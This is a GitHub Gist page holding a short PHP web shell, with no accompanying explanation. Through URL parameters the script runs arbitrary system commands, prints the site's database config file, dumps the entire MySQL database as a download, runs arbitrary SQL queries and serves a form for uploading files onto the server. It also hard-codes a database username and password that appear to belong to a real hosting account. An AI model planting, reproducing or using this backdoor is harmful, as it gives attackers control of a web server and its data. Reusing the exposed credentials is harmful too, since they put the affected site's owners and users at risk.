Created
February 22, 2023 10:42
-
-
Save silverwolfceh/cab95ca63a4d03c2fe23e8c23379ac8d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function run_cmd($cmd = 'ls') { | |
system($cmd); | |
} | |
function db_dump() { | |
$DBUSER="u935748659_kd2814"; | |
$DBPASSWD="C]y4z=F~QrH"; | |
$DATABASE="u935748659_kd2814"; | |
$filename = "backup-" . date("d-m-Y") . ".sql.gz"; | |
$mime = "application/x-gzip"; | |
header( "Content-Type: " . $mime ); | |
header( 'Content-Disposition: attachment; filename="' . $filename . '"' ); | |
$cmd = "mysqldump -u $DBUSER --password=$DBPASSWD $DATABASE | gzip --best"; | |
passthru( $cmd ); | |
exit(0); | |
} | |
function db_query($q) { | |
$servername = "localhost"; | |
$username = "u935748659_kd2814"; | |
$password = "C]y4z=F~QrH"; | |
$database = "u935748659_kd2814"; | |
$conn = new mysqli($servername, $username, $password, $database); | |
if ($conn->connect_error) { | |
die("Connection failed: " . $conn->connect_error); | |
} | |
if ($result = $conn->query($q)) { | |
// Free result set | |
$result -> free_result(); | |
} | |
$conn->close(); | |
} | |
if(isset($_GET['mode'])){ | |
$mode = $_GET['mode']; | |
switch($mode) { | |
case 'db': | |
echo run_cmd("cat ../../db/connect.php"); | |
break; | |
case 'cmd': | |
echo run_cmd($_GET['cmd']); | |
break; | |
case 'dbdump': | |
db_dump(); | |
break; | |
case 'query': | |
db_query($_GET['q']); | |
break; | |
case 'up': | |
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; | |
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; | |
if( $_POST['_upl'] == "Upload" ) { | |
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { | |
echo "Upload finished."; | |
} | |
else { | |
echo "Upload failed"; | |
} | |
} | |
break; | |
} | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment